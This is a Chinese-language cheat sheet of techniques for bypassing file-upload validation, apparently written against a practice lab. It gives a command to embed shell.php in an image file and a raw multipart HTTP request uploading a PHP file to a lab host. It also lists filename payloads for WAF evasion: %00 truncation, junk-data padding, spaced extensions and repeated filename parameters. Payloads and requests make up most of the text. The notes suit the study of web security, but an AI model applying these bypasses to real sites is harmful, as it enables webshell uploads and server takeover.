文件上传
文件上传
绕过
文件上传常见验证:
后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME
信息文件头:内容头信息
创建php.png文件里面写入内容,然后上传burp抓包将php.png修改为php.php,再把数据包发送,最后在浏览器中右击复制文件地址
图片马
copy 1.png /b + shell.php /a webshell.jpg
文件头检测
图像文件信息判断
逻辑安全=二次渲染
逻辑安全-条件竞争目录命名-x.php/.
脚本函数漏洞-CVE-2015-2348
数组接受+目录命名
WAf绕过
可以尝试修改的点
Content-Disposition: 一般可更改
name: 表单参数值,不能更改
filename :文件名,可以更改
Content-Type:文件MIME,视情况更改
数据溢出-防匹配(xxx.. .)
修改数据包上传
Content-Disposition: form-data; name="uploadfile";
中间插入大量的垃圾数据从而绕过。POST /Pass-06/index.php?action=show_code HTTP/1.1 Host: 10.1.1.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------219208409912899756444268510117 Content-Length: 378 Origin: http://10.1.1.6 Connection: close Referer: http://10.1.1.6/Pass-06/index.php?action=show_code Upgrade-Insecure-Requests: 1 -----------------------------219208409912899756444268510117 Content-Disposition: form-data; name="upload_file";填充大量的垃圾数据; filename="info.Php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------219208409912899756444268510117 Content-Disposition: form-data; name="submit" 涓婁紶 -----------------------------219208409912899756444268510117--
符号变异-防匹配('" ;)
Content-Disposition: form-data; name="upload_file"; filename="info.php Content-Type: image/jpeg 使用%00截断,添加合法后缀名 格式:文件名.php%00.png
数据截断-防匹配(%00 ;换行)
Content-Disposition: form-data; name="upload_file"; filename="info.php%00.png" Content-Type: image/jpeg
Content-Disposition: form-data; name="upload_file"; filename="x. p h p" Content-Type: image/jpeg
重复数据-防匹配(参数多次)
filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.php";